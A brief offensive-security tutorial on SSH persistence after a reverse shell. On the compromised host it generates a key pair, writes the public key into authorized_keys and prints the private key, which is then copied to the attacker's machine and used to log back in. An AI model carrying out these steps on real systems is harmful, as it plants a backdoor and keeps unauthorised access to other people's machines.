Once you have a reverse shell, you may want to consider dropping a SSH key so that you can return at a later time. This guide intends to serve as a quick tutorial on how to do this.

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From the Compromised Remote Host:

Navigate to and/or create the following directory.

/home/<user>/.ssh

Change into it, and then run the following command.

ssh-keygen -f id_rsa

This should generate a private key along with a public key. You’ll want to create an “authorized_keys” file by running the following command.

cat id_rsa.pub > authorized_keys

Then you’ll want to take your private key to your local system by running the following command and copying the contents.

cat id_rsa

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On Your Local System:

Create a new file by running the following command and pasting the contents of your clipboard.

vi id_rsa

Then make the appropriate file permissions changes.

chmod 600 id_rsa

That’s it! You should now be able to SSH in.

ssh user@targetIP